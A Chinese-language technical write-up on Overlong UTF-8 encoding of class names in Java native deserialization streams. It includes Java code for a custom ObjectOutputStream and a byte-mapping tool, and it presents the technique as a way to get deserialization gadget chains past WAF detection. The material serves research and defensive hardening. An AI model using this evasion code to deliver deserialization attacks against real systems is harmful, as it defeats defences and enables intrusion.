java原生反序列化OverlongEncoding分析及实战
字数 1203 2025-08-05 12:50:33

Java原生反序列化Overlong Encoding分析与实战

0x00 前言

在WAF层面,检测反序列化攻击链通常是通过检测CC、CB等链的关键类。如果能将这些类名进行编码,在服务端解码,就可以隐藏特征。但很多场景下只能使用未编码的攻击链,因为服务端可能没有解码或解密的逻辑。

Overlong Encoding是一种将1个字节的字符按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。例如,字符"j"不仅可以表示为单字节的0x6a,还可以表示为双字节的0xc1和0xaa。

0x01 技术分析

Java反序列化类名读取机制

当使用ObjectInputStream的readObject反序列化对象时,关键类名的读取逻辑在java.io.ObjectStreamClass#readNonProxy方法中,该方法通过in.readUTF()读取类名。

readUTF()的核心逻辑在ObjectInputStream中,它会将读取到的字节& 0xFF后右移四位来判断是1个字节、2个字节还是3个字节表示一个字符。

字符编码规则

单字节表示

  • 最简单,直接读取字节值,如0x6a表示'j'

双字节表示

  • b1规则
    • 前三位固定为110
    • 右移4位后为12或13(二进制00001100或00001101)
    • 实际b1的前四位只能是1100或1101
  • b2规则
    • 前两位固定为10
    • b2 & 0xc0必须等于0x80
  • 字符计算
    (char) (((b1 & 0x1F) << 6) | ((b2 & 0x3F) << 0));
    
    • b1 & 0x1F:去掉b1前缀110,保留后5位
    • b2 & 0x3F:去掉b2前缀10,保留后6位
    • 字符组成:b1的最后两位 + b2的后6位

三字节表示

  • b1规则
    • 前四位必须为1110
    • b1 & 0x0F:去除前缀1110
  • b2和b3规则
    • 前两位必须为10
  • 字符计算
    (char) (((b1 & 0x0F) << 12) | ((b2 & 0x3F) << 6) | ((b3 & 0x3F) << 0));
    
    • 字符的后六位必定是b3
    • 字符前两位在b2中

0x02 实战实现

自定义ObjectOutputStream

通过继承ObjectOutputStream并重写writeClassDescriptor方法,可以实现类名的Overlong Encoding编码。

关键实现类CustomObjectOutputStream

public class CustomObjectOutputStream extends ObjectOutputStream {
    private static HashMap<Character, int[]> map;  // 双字节编码映射
    private static Map<Character,int[]> bytesMap;   // 三字节编码映射
    
    // 初始化编码映射表
    static {
        map = new HashMap<>();
        map.put('.', new int[]{0xc0, 0xae});
        map.put(';', new int[]{0xc0, 0xbb});
        // 其他字符映射...
        
        bytesMap = new HashMap<>();
        bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
        bytesMap.put('.', new int[]{0xe0,0x80,0xae});
        // 其他字符映射...
    }

    // 双字节编码方法
    public void charWritTwoBytes(String name) {
        byte[] bytes = new byte[name.length() * 2];
        int k = 0;
        for (int i = 0; i < name.length(); i++) {
            int[] bs = map.get(name.charAt(i));
            bytes[k++] = (byte) bs[0];
            bytes[k++] = (byte) bs[1];
        }
        writeShort(name.length() * 2);
        write(bytes);
    }

    // 三字节编码方法
    public void charWriteThreeBytes(String name) {
        byte[] bytes = new byte[name.length() * 3];
        int k = 0;
        for (int i = 0; i < name.length(); i++) {
            int[] bs = bytesMap.get(name.charAt(i));
            bytes[k++] = (byte) bs[0];
            bytes[k++] = (byte) bs[1];
            bytes[k++] = (byte) bs[2];
        }
        writeShort(name.length() * 3);
        write(bytes);
    }

    // 重写writeClassDescriptor方法
    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
        String name = desc.getName();
        // 可选择三种编码方式之一:
        // 1. 原生UTF编码: writeUTF(name);
        // 2. 双字节编码: charWritTwoBytes(name);
        // 3. 三字节编码: charWriteThreeBytes(name);
        // ...其他字段写入逻辑
    }
}

编码映射表生成工具

public class OverlongEncodeTools {
    // 将字符拆分为三字节表示
    public static String[] CharSplitToThressBytes(char c) {
        int b1, b2, b3;
        byte t = (byte) c;
        b1 = Integer.parseInt("11100000", 2);  // b1固定前缀
        b2 = ((t & 0xc0) >>> 6) | 0x80;        // 取字符前两位
        b3 = (t & 0x3f) | 0x80;                // 取字符后六位
        
        String b10x = "0x" + Integer.toHexString(b1);
        String b20x = "0x" + Integer.toHexString(b2);
        String b30x = "0x" + Integer.toHexString(b3);
        
        // 验证编码是否正确
        if (TestThreeByteCode(b1, b2, b3) != c) {
            System.out.println("字符c: " + c + " 表示错误!");
            System.exit(0);
        }
        return new String[]{b10x, b20x, b30x};
    }

    // 三字节解码测试
    public static char TestThreeByteCode(int b1, int b2, int b3) {
        return (char) (((b1 & 0x0F) << 12) |
                      ((b2 & 0x3F) << 6) |
                      ((b3 & 0x3F) << 0));
    }
}

0x03 关键点总结

  1. 编码原理:利用UTF-8变长编码特性,将单字节ASCII字符编码为多字节形式
  2. 字节规则
    • 双字节:b1=110xxxxx, b2=10xxxxxx
    • 三字节:b1=1110xxxx, b2=10xxxxxx, b3=10xxxxxx
  3. 位运算技巧
    • 使用&运算去除前缀
    • 使用|运算组合位
    • 使用移位运算调整位位置
  4. 实现方式:通过自定义ObjectOutputStream重写类名写入逻辑
  5. 应用场景:绕过WAF对反序列化攻击链中关键类的检测

参考链接

  1. 1ue的文章
  2. P神的文章
Java原生反序列化Overlong Encoding分析与实战 0x00 前言 在WAF层面,检测反序列化攻击链通常是通过检测CC、CB等链的关键类。如果能将这些类名进行编码,在服务端解码,就可以隐藏特征。但很多场景下只能使用未编码的攻击链,因为服务端可能没有解码或解密的逻辑。 Overlong Encoding是一种将1个字节的字符按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。例如,字符"j"不仅可以表示为单字节的0x6a,还可以表示为双字节的0xc1和0xaa。 0x01 技术分析 Java反序列化类名读取机制 当使用ObjectInputStream的readObject反序列化对象时,关键类名的读取逻辑在 java.io.ObjectStreamClass#readNonProxy 方法中,该方法通过 in.readUTF() 读取类名。 readUTF() 的核心逻辑在ObjectInputStream中,它会将读取到的字节 & 0xFF 后右移四位来判断是1个字节、2个字节还是3个字节表示一个字符。 字符编码规则 单字节表示 最简单,直接读取字节值,如0x6a表示'j' 双字节表示 b1规则 : 前三位固定为110 右移4位后为12或13(二进制00001100或00001101) 实际b1的前四位只能是1100或1101 b2规则 : 前两位固定为10 b2 & 0xc0 必须等于0x80 字符计算 : b1 & 0x1F :去掉b1前缀110,保留后5位 b2 & 0x3F :去掉b2前缀10,保留后6位 字符组成:b1的最后两位 + b2的后6位 三字节表示 b1规则 : 前四位必须为1110 b1 & 0x0F :去除前缀1110 b2和b3规则 : 前两位必须为10 字符计算 : 字符的后六位必定是b3 字符前两位在b2中 0x02 实战实现 自定义ObjectOutputStream 通过继承ObjectOutputStream并重写 writeClassDescriptor 方法,可以实现类名的Overlong Encoding编码。 关键实现类 CustomObjectOutputStream : 编码映射表生成工具 0x03 关键点总结 编码原理 :利用UTF-8变长编码特性,将单字节ASCII字符编码为多字节形式 字节规则 : 双字节:b1=110xxxxx, b2=10xxxxxx 三字节:b1=1110xxxx, b2=10xxxxxx, b3=10xxxxxx 位运算技巧 : 使用 & 运算去除前缀 使用 | 运算组合位 使用移位运算调整位位置 实现方式 :通过自定义ObjectOutputStream重写类名写入逻辑 应用场景 :绕过WAF对反序列化攻击链中关键类的检测 参考链接 1ue的文章 P神的文章